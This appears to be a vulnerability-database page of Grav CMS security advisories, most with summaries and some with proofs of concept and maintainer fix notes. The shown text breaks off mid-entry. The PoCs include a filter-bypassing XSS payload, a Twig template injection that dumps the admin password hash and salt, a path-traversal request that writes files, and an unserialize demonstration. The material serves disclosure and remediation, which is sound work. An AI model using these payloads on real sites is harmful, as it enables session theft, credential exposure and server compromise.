[`tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php) — 3 tests pinning the PoC, the `@@`-prefix edge case, and pass-through for free usernames. |
Affected by 1 other vulnerability. |
|
VCID-bafn-ne38-nucy
Aliases: CVE-2025-66304 GHSA-gq3g-666w-7h85 |
Grav Exposes Password Hashes Leading to privilege escalation # Exposure of Password Hashes Leading to privilege escalation **Severity Rating:** Medium **Vector:** Privilege Escalation **CVE:** XXX **CWE:** 200 - Exposure of Sensitive Information **CVSS Score:** 6.2 **CVSS Vector:** CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L ## Analysis It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes. An attacker with read access can: * View and potentially crack the password hashes. * Gain administrative access by cracking the admin password hash. * Escalate privileges and compromise the entire admin panel. ## Proof of Concept 1) Give read access to user accounts to a random user as shown in the following figures:   2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section. 3) Go to the admin profile `http://127.0.0.1/admin/accounts/users/admin`; The password is not display. Try inspecting the page source code as shown in the following figures:  You can see that it match the hash that is in the admin.yaml file :  4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt:  ## Workarounds No workaround is currently known # Timeline **2024-07-24** Issue identified **2024-09-27** Vendor contacted # About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services. Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41. |
Affected by 14 other vulnerabilities. |
|
VCID-bhhz-z132-zkhb
Aliases: CVE-2025-66297 GHSA-858q-77wx-hhx6 |
Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities. |
Affected by 14 other vulnerabilities. |
|
VCID-bwvg-jg4z-nyhp
Aliases: CVE-2023-31506 GHSA-xrf8-cmrg-7436 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') A cross-site scripting (XSS) vulnerability in Grav versions 1.7.44 and before, allows remote authenticated attackers to execute arbitrary web scripts or HTML via the onmouseover attribute of an ISINDEX element. |
Affected by 42 other vulnerabilities. |
|
VCID-c9jy-y2dh-x3dg
Aliases: CVE-2026-42612 GHSA-9695-8fr9-hw5q |
Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes ### Summary A stored Cross-Site Scripting (XSS) vulnerability in `getgrav/grav` allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the `detectXss()` function when handling unquoted HTML event attributes. ### Details The `detectXss()` function relies on a blacklist pattern to filter malicious attributes. The specific regex pattern used to match `on*` events is flawed: ```php 'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu' ``` This pattern fails to properly identify `on*` event handlers that are constructed without quotation marks. This allows an attacker to completely bypass the filter. *Note: It is highly recommended to replace this blacklist approach with a robust, established HTML sanitization library.* ### PoC An attacker with publisher-level access can reproduce this by injecting the following payload into any vulnerable content field: ```html <img src=x onerror=eval(atob(/YWxlcnQoZG9jdW1lbnQuY29va2llKQ/.source))> ``` <img width="1889" height="482" alt="image1" src="https://github.com/user-attachments/assets/0f1a339b-25a8-4b6e-91af-8c59e6a39297" /> <img width="3055" height="920" alt="image2" src="https://github.com/user-attachments/assets/12680058-bbb3-4446-b58e-515533bb4e90" /> <img width="2909" height="1339" alt="image3" src="https://github.com/user-attachments/assets/c7ed7e61-8dcf-402d-8589-98d18978c71a" /> **Execution Details:** The `onerror` event is written without quotes to bypass the regex. Because unquoted attributes are restricted in their character usage (e.g., the `=` symbol cannot be used easily), the payload leverages `atob()` and regex `.source` to decode the base64 string `YWxlcnQoZG9jdW1lbnQuY29va2llKQ` (which translates to `alert(document.cookie)`). The `atob()` function conveniently auto-completes the necessary `=` padding for the base64 string. ### Impact - **Vulnerability Type:** Stored Cross-Site Scripting (XSS) - **Impacted Parties:** Any user (including administrators) who views the compromised content published by the attacker. - **Consequences:** Attackers can execute malicious scripts in a victim's browser, leading to session hijacking (cookie theft), unauthorized actions. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. **What changed:** the `on_events` regex in `Security::detectXss()` no longer requires quotes or whitespace around `=`. The previous form: ``` 'on_events' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s*[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu' ``` required `[\s|'"]` immediately after the `=`, so `<img src=x onerror=alert(1)>` slid past. The new regex drops the value-matching tail entirely and just flags the presence of an `on*=` attribute anywhere inside a tag: ``` 'on_events' => '#<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=#iu' ``` Detecting the attribute name + `=` is enough for a tripwire — the trade-off is occasional false positives on legitimate attribute *values* containing `on*=` substrings, which the maintainer can hand-approve. This same regex bypass was the detection-layer half of GHSA-c2q3-p4jr-c55f and GHSA-w8cg-7jcj-4vv2; the fix here knocks both down. **Files:** - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php). - [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php) — 18 cases: unquoted PoCs, quoted-form regression, safe-content negatives. |
Affected by 1 other vulnerability. |
|
VCID-d8z9-wwfs-8bd7
Aliases: CVE-2020-29553 GHSA-fqff-vcvx-68h3 |
Cross-Site Request Forgery (CSRF) The Scheduler in Grav CMS allows an attacker to execute a system command by tricking an admin into visiting a malicious website (CSRF). |
Affected by 61 other vulnerabilities. Affected by 61 other vulnerabilities. Affected by 58 other vulnerabilities. |
|
VCID-e61c-rd9y-wyhs
Aliases: CVE-2026-42610 GHSA-3f29-pqwf-v4j4 |
Grav Vulnerable to Sensitive Information Disclosure via Accounts Service Bypass ## Summary Information disclosure exists in `Grav CMS v1.8.0-beta.29`. Despite previous security patches (notably in `v1.8.0-beta.27/28`) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed. A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the `grav['accounts']` service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt. ## Affected version Grav CMS: `v1.8.0-beta.29` (and earlier 1.8.x beta versions). Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases. ## Steps to Reproduce 1. Create a low-privileged account (MY CASE IS 'editor_chen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied. 2. Login to the Admin panel using `editor_chen`. Navigate to Pages and edit the `Home` page. 3. Under the Advanced tab, ensure Process Twig is enabled . 4. In the Content tab, inject the following Twig payload designed to bypass the `isDangerousFunction` filter by accessing the internal service container: ``` --- title: Information Disclosure Test process: twig: true --- # Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }} - Security Salt: {{ grav.config.get('security.salt') }} ``` <img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" /> 5. Click Save. And navigate to the public page (`http://localhost:8000/home`). Page will render and display the administrator's Bcrypt hash and the system security salt. <img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" /> ## PoC ``` --- title: Information Disclosure Test process: twig: true --- # Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashed_password') }} - Security Salt: {{ grav.config.get('security.salt') }} ``` ## Impact Attackers can obtain the password hashes of all registered users, including Super Administrators. Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat) ## Video Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video> --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**. **What changed:** the HMAC key formerly stored as `security.salt` in `user/config/security.yaml` has moved **out of the Config tree** into `user/config/security-private.php`. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live `Config` object and the on-disk YAML — so `{{ grav.config.get('security.salt') }}` from a sandboxed Twig template now returns null. The `.php` extension is blocked from web access by the default `user/*.php` htaccess rule; the file contains only a `return` statement, so direct PHP exec produces no output either. The PoC's password-hash half (`grav['accounts'].load('admin').get('hashed_password')`) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — `UserCollection::load` is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory. **Files:** - [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — new `Security::getNonceKey()` + migration. - [`system/src/Grav/Common/Utils.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Utils.php) — `generateNonceString` now uses the new key. - [`system/src/Grav/Common/Service/SessionServiceProvider.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Service/SessionServiceProvider.php). - [`system/src/Grav/Common/Config/Setup.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Config/Setup.php) — removed auto-gen of `security.salt`. - [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — removed placeholder `salt:`. - [`tests/unit/Grav/Common/Security/NonceKeySecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/NonceKeySecurityTest.php) — migration + generation coverage. |
Affected by 1 other vulnerability. |
|
VCID-egxp-rctq-xyh8
Aliases: CVE-2024-35498 GHSA-m78c-qx99-mvw9 |
Grav Cross-site Scripting vulnerability A cross-site scripting (XSS) vulnerability in Grav v1.7.45 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. |
Affected by 35 other vulnerabilities. |
|
VCID-esjd-ztwe-c3h1
Aliases: CVE-2025-66295 GHSA-h756-wh59-hhjv |
Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofa_secret, and hashed_password. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI. Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: [EMAIL@gmail.com](mailto:EMAIL@gmail.com) fullname: 'Nijat Alizada' language: en content_editor: default twofa_enabled: false twofa_secret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashed_password: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true |
Affected by 14 other vulnerabilities. |
|
VCID-f3wx-5ayr-tqga
Aliases: CVE-2025-66308 GHSA-gqxx-248x-g29f |
Grav Admin Plugin vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/config/site` parameter `data[taxonomies]` A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/config/site` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[taxonomies]` parameter. The injected payload is stored on the server and automatically executed in the browser of any user who accesses the affected site configuration, resulting in a persistent attack vector. --- |
Affected by 14 other vulnerabilities. |
|
VCID-fmmu-r77k-c7g2
Aliases: CVE-2025-66296 GHSA-cjcp-qxvg-4rjm |
Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access. |
Affected by 14 other vulnerabilities. |
|
VCID-jsuh-8ssu-gfh3
Aliases: CVE-2023-34448 GHSA-whr7-m3f8-mpm8 |
Improper Control of Generation of Code ('Code Injection') Grav is a flat-file content management system. Prior to version 1.7.42, the patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default `filter()` function, does not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution. A patch in version 1.74.2 overrides the built-in Twig `map()` and `reduce()` filter functions in `system/src/Grav/Common/Twig/Extension/GravExtension.php` to validate the argument passed to the filter in `$arrow`. |
Affected by 45 other vulnerabilities. |
|
VCID-jswn-z6r2-f3dj
Aliases: CVE-2022-0743 GHSA-2p89-ppc2-mrq4 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Cross-site Scripting (XSS) - Stored in GitHub repository getgrav/grav prior to 1.7.31. |
Affected by 51 other vulnerabilities. |
|
VCID-k8fd-bqpk-2qg8
Aliases: CVE-2025-66306 GHSA-4cwq-j7jv-qmwg |
Grav vulnerable to Information Disclosure via IDOR in Grav Admin Panel An **IDOR (Insecure Direct Object Reference)** vulnerability in the Grav CMS Admin Panel allows **low-privilege users to access sensitive information** from other accounts. Although direct account takeover is not possible, **admin email addresses and other metadata can be exposed**, increasing the risk of phishing, credential stuffing, and social engineering. --- |
Affected by 14 other vulnerabilities. |
|
VCID-kbnn-6uws-kqh9
Aliases: CVE-2025-66299 GHSA-gjc5-8cfh-653x |
Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection) Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox. |
Affected by 14 other vulnerabilities. |
|
VCID-m1sj-emwx-5fek
Aliases: CVE-2023-34251 GHSA-f9jf-4cp4-4fq5 |
Improper Control of Generation of Code ('Code Injection') Grav is a flat-file content management system. Versions prior to 1.7.42 is vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue. |
Affected by 45 other vulnerabilities. |
|
VCID-p1u7-9mk4-fkcr
Aliases: CVE-2025-66307 GHSA-q3qx-cp62-f6m7 |
Grav Admin Plugin vulnerable to User Enumeration & Email Disclosure A **user enumeration and email disclosure vulnerability** exists in Grav **v1.7.49.5** with Admin plugin **v1.10.49.1**. The "Forgot Password" functionality at `/admin/forgot` leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering. |
Affected by 14 other vulnerabilities. |
|
VCID-p5d4-8rvg-uqem
Aliases: CVE-2025-66303 GHSA-x62q-p736-3997 |
Grav is vulnerable to a DOS on the admin panel # DOS on the admin panel **Severity Rating:** Medium **Vector:** Denial Of Service **CVE:** XXX **CWE:** 400 - Uncontrolled Resource Consumption **CVSS Score:** 4.9 **CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H ## Analysis A Denial of Service (DoS) vulnerability has been identified in the application related to the handling of `scheduled_at` parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the `scheduled_at` parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations. The only way to recover from this issue is to manually access the host server and modify the `backup.yaml` file to correct the corrupted cron expression ## Proof of Concept 1) Change the value of `scheduled_at` parameter to `'` as shown in the following figures at the `http://127.0.0.1/admin/tools` endpoint, and observe the response in the second figure:  *Figure: Http request on tool endpoint*  *Figure: Http response on tool endpoint* 2) When trying to access the admin panel, the panel is broken as shown in the following figure. Additionally, the value change is reflected in the `backup.yaml` file, as shown in the second figure:  *Figure: Error message view*  *Figure: Backup.yaml file* ## Workarounds No workaround is currently known # Timeline **2024-07-24** Issue identified **2024-09-27** Vendor contacted # About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services. Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41. |
Affected by 14 other vulnerabilities. |
|
VCID-q57k-9vrf-akef
Aliases: CVE-2021-3818 GHSA-cg3q-59w7-rvc2 |
grav is vulnerable to Reliance on Cookies without Validation and Integrity Checking |
Affected by 56 other vulnerabilities. |
|
VCID-r2dh-em54-nyfz
Aliases: CVE-2026-7317 GHSA-gwfr-jfjf-92vv |
Grav has Insecure Deserialization in File Cache # Insecure Deserialization in File Cache - **Severity:** High - **CWE:** CWE-502 - **Location:** `system/src/Grav/Framework/Cache/Adapter/FileCache.php` - **Sink:** `unserialize($value, ['allowed_classes' => true])` ## Affected version(s) - **Affected:** `>= 1.7.44` and `<= 1.7.49.5` (verified in current codebase and changelog-covered releases). - **Fixed:** No upstream fix identified in the reviewed branch at the time of analysis. - **Notes:** Earlier `1.7.x` releases may also be affected, but were not fully back-traced in this review. ## Notes `allowed_classes => true` allows object instantiation and does not constrain classes. ## PoC (Primitive Demonstration) ### Preconditions - Local PHP runtime. - Goal is to validate the deserialization primitive used in cache retrieval. ### Steps ```bash php -r ' class CacheWakeup { public function __wakeup(){ file_put_contents("/tmp/grav_filecache_poc.txt", "wakeup"); } } $payload = serialize(new CacheWakeup()); unserialize($payload, ["allowed_classes" => true]); echo file_exists("/tmp/grav_filecache_poc.txt") ? "FILECACHE_UNSERIALIZE_TRIGGERED\n" : "FILECACHE_UNSERIALIZE_NOT_TRIGGERED\n"; ' ``` ### Expected Result - Output contains: `FILECACHE_UNSERIALIZE_TRIGGERED`. ### Interpretation This reproduces the same unsafe primitive used by `FileCache::doGet()`: `unserialize($value, ['allowed_classes' => true])`. If cache files are attacker-tampered, object magic methods may execute. ## Exploit Preconditions - Cache file poisoning/tampering capability. ## Recommendation - Avoid object deserialization in cache payloads. - Use non-object formats and integrity protection for cache files. --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`c66dfeb5f`](https://github.com/getgrav/grav/commit/c66dfeb5f) — will ship in **2.0.0-beta.2**. **What changed:** `Framework\Cache\Adapter\FileCache` now HMAC-signs every cache payload with `Security::getNonceKey()` on write, and verifies the HMAC on read. Tampered, forged, or pre-upgrade files are treated as cache misses and unlinked instead of being unserialized. The on-disk format is now versioned: ``` v2 <expires> <key> <hmac-hex> <serialized> ``` Existing caches rebuild transparently on first read. Note that `Framework\Cache\Adapter\FileCache` isn't wired into Grav's main cache path — Symfony's `FilesystemAdapter` is — but the class is reachable by plugin and downstream consumers, so the hardening applies defensively. **Files:** - [`system/src/Grav/Framework/Cache/Adapter/FileCache.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Cache/Adapter/FileCache.php). - [`tests/unit/Grav/Common/Security/FileCacheSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FileCacheSecurityTest.php) — round-trip, tampered-payload rejection, wrong-key forgery rejection, pre-v2 file rebuild, key-field mismatch. |
Affected by 1 other vulnerability. |
|
VCID-r6yg-4kxp-tfay
Aliases: CVE-2021-3924 GHSA-8c5p-4362-9333 |
grav is vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | There are no reported fixed by versions. |
|
VCID-rcyu-yu31-n7gu
Aliases: GHSA-vj3m-2g9h-vm4p |
Grav has multiple RCE vectors: unsafe unserialize (x3), command injection in git clone, SSTI blocklist bypass Multiple RCE vectors were found in Grav CMS. Three are critical, two are high. **1. Unsafe unserialize() in JobQueue — direct RCE gadget (Critical)** `system/src/Grav/Common/Scheduler/JobQueue.php:465` calls `unserialize(base64_decode(...))` without restricting `allowed_classes`. The `Job` class has `call_user_func_array($this->command, $this->args)` in its execution path, which is a direct gadget chain — inject a serialized `Job` with `command = 'system'` and `args = ['whoami']`. The same codebase actually has a `Serializable` trait that correctly restricts classes, so this inconsistency stands out. **2. Unsafe unserialize() in FileCache — arbitrary class instantiation (Critical)** `system/src/Grav/Framework/Cache/Adapter/FileCache.php:75` does `unserialize($value, ['allowed_classes' => true])`. That `true` allows instantiation of any class. If an attacker can write to the cache directory (via any file write primitive), they get object injection → RCE. **3. Unsafe unserialize() in Session (High)** `system/src/Grav/Common/Session.php:116` — same `allowed_classes => true` pattern on session data. Lower severity since session storage is typically more restricted. **4. Command injection in git clone (Critical)** `system/src/Grav/Console/Cli/InstallCommand.php:150` — only `$this->destination` uses `escapeshellarg()`. The `$data['branch']`, `$data['url']`, and `$data['path']` variables go directly into the shell command without escaping. Admin-accessible via plugin/theme installation. **5. SSTI blocklist bypass (High)** `system/src/Grav/Common/Security.php:267-286` — `cleanDangerousTwig()` blocks `twig_array_map` and `twig_array_filter` but not `twig_array_reduce`. Also missing `file_get_contents` and `fwrite` from the dangerous function blocklist. An attacker who can inject Twig templates can bypass the security filter. All five are independently exploitable. The unserialize issues are the most concerning since they don't require admin access if there's any file write primitive. — ProScan AppSec | proscan.one --- ## Maintainer note — fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit [`c66dfeb5f`](https://github.com/getgrav/grav/commit/c66dfeb5f) (items #1, #2, #3, #4) and commit [`38685ac25`](https://github.com/getgrav/grav/commit/38685ac25) + [`c66dfeb5f`](https://github.com/getgrav/grav/commit/c66dfeb5f) (item #5) — ships in **2.0.0-beta.2**. All five vectors addressed: 1. **Scheduler\JobQueue unsafe unserialize** — `serialized_job` now carries a sibling `serialized_job_hmac` signed with `Security::getNonceKey()`. `reconstructJob` refuses to unserialize an item whose HMAC is missing/mismatched and falls through to the safe structured-fields rebuild. A tampered queue file can no longer smuggle a forged `Job` for direct RCE via `Job::exec → call_user_func_array`. → [`system/src/Grav/Common/Scheduler/JobQueue.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Scheduler/JobQueue.php) 2. **FileCache unsafe unserialize** — same HMAC-integrity approach; see separate GHSA-gwfr-jfjf-92vv. → [`system/src/Grav/Framework/Cache/Adapter/FileCache.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Cache/Adapter/FileCache.php) 3. **Session::getFlashObject unsafe unserialize** — payload now wrapped in a `v2|<hmac>|<serialized>` envelope; legacy/forged envelopes return null instead of triggering `unserialize`. → [`system/src/Grav/Common/Session.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Session.php) 4. **InstallCommand `git clone` shell injection** — `branch`, `url`, and `path` values read from `user/.dependencies` are now passed through `escapeshellarg`, with a `--` separator before url/path to block option-injection (e.g. `--upload-pack=evil`). → [`system/src/Grav/Console/Cli/InstallCommand.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Console/Cli/InstallCommand.php) 5. **SSTI blocklist bypass** — `twig_array_reduce` (the specific name called out) plus `twig_array_some` and `twig_array_every` added to `cleanDangerousTwig`'s `CALLABLE_DANGEROUS_NAMES` alongside the existing `twig_array_map`/`filter`. More importantly, the new Twig content sandbox in 2.0.0-beta.2 blocks this class of attack at a different layer — see the sandbox work in [`38685ac25`](https://github.com/getgrav/grav/commit/38685ac25). → [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) **Tests:** - [`tests/unit/Grav/Common/Security/UnserializeIntegritySecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/UnserializeIntegritySecurityTest.php) — 8 cases covering JobQueue + Session HMAC integrity. - [`tests/unit/Grav/Common/Security/FileCacheSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FileCacheSecurityTest.php). - [`tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php) — new `twig_array_*` entries in `providerCallbackFunctions`. |
Affected by 1 other vulnerability. |
|
VCID-rj4b-8dyu-juen
Aliases: CVE-2025-66844 GHSA-729w-j79f-2c34 |
Grav may be vulnerable to SSRF attack via Twig Templates In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered. |
Affected by 32 other vulnerabilities. |
|
VCID-rsc3-r7fy-pkca
Aliases: CVE-2023-34253 GHSA-j3v8-v77f-fvgm |
Improper Control of Generation of Code ('Code Injection') Grav is a file-based Web platform. Prior to version 1.7.42, the denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. A patch in version 1.7.42 improves the denylist. |
Affected by 45 other vulnerabilities. |
|
VCID-ru55-uj84-p3dr
Aliases: CVE-2023-37897 GHSA-9436-3gmp-4f53 |
Return of Wrong Status Code Grav is a file-based Web-platform built in PHP. Grav is subject to a server side template injection (SSTI) vulnerability. The fix for another SSTI vulnerability using `|map`, `|filter` and `|reduce` twigs implemented in the commit `71bbed1` introduces bypass of the denylist due to incorrect return value from `isDangerousFunction()`, which allows to execute the payload prepending double backslash (`\\`). The `isDangerousFunction()` check in version 1.7.42 and onwards retuns `false` value instead of `true` when the `\` symbol is found in the `$name`. This vulnerability can be exploited if the attacker has access to: 1. an Administrator account, or 2. a non-administrator, user account that has Admin panel access and Create/Update page permissions. A fix for this vulnerability has been introduced in commit `b4c6210` and is included in release version `1.7.42.2`. Users are advised to upgrade. There are no known workarounds for this vulnerability. |
Affected by 44 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-seer-x4fd-e7ge
Aliases: CVE-2026-42608 GHSA-hmcx-ch82-3fv2 |
Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component # Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write **[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection** ## Summary Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. ## Affected Component - Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026). - Class: `Grav\Framework\Form\FormFlash` - Method: `__construct()` / `getTmpDir()` - Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests) ## Vulnerability Details The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source: ```php $folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : ''); $this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder; ``` Lack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver's scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`). ## Affected Versions & Zero-Day Status - Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025). - Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched. - Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions). - CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal. ## Steps to Reproduce 1. Identify any page containing a Grav Form (e.g., `/contact`). 2. Intercept the POST request during form submission. 3. Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`). 4. Submit the request. 5. Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path. ## Request Example ```http POST /contact HTTP/1.1 Host: target.grav.cms Content-Type: application/x-www-form-urlencoded __form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload ``` ## Response / Result - HTTP/1.1 302 Found (Standard redirect) - Filesystem Modification: - Directory Created: `/var/www/html/user/config/proof_dir/poc/` - File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml` ## Proof of Concept Evidence (Before/After) ### Before Exploitation - Status: Directory does not exist. - Evidence: ```bash $ ls -la /var/www/html/user/config/proof_dir/ ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory ``` ### After Exploitation - Status: Arbitrary directory and `index.yaml` created. - Evidence: ```bash $ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml -rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml $ cat /var/www/html/user/config/proof_dir/poc/index.yaml form: '' id: '' unique_id: poc ... data: poc_status: confirmed ``` ## Impact - Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation. - Configuration Injection: Writing `index.yaml` into plugin/theme configuration 